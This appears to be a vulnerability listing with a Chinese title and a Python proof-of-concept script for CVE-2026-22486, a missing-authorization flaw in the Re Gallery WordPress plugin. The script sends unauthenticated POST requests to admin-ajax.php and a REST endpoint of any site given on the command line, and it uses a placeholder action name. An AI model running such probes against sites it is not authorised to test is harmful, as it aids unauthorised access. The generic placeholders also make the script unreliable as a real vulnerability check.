CVE-2026-22486 WordPress Re Gallery插件缺失授权访问控制漏洞

import requests import sys # CVE-2026-22486 PoC - Missing Authorization in Re Gallery WordPress Plugin # Target: WordPress site with Re Gallery plugin <= 1.18.9 def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2026-22486 This PoC attempts to access a protected endpoint that should require authentication """ # Target endpoint that should require authorization # Modify the endpoint based on actual vulnerable functionality endpoints = [ f"{target_url}/wp-admin/admin-ajax.php", f"{target_url}/wp-json/regallery/v1/", ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/x-www-form-urlencoded', } print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2026-22486 - Missing Authorization in Re Gallery Plugin\n") for endpoint in endpoints: print(f"[*] Testing endpoint: {endpoint}") # Example: Try to access admin functionality without authentication # This is a generic PoC structure - adjust parameters based on actual vulnerable function data = { 'action': 'regallery_admin_action', # Replace with actual vulnerable action 'sub_action': 'any', # Potentially unauthorized action } try: # Send unauthenticated request response = requests.post(endpoint, data=data, headers=headers, timeout=10) # Check if we get a successful response that should have been blocked if response.status_code == 200: print(f"[!] Potential vulnerability detected at {endpoint}") print(f"[!] Received response without authentication") print(f"[*] Response preview: {response.text[:200]}...") else: print(f"[-] Endpoint returned status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error connecting to {endpoint}: {e}") print("\n[*] PoC execution completed") print("[*] Note: This is a basic PoC. Manual testing may be required.") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2026-22486.py http://target.com") sys.exit(1) target = sys.argv[1].rstrip('/') check_vulnerability(target)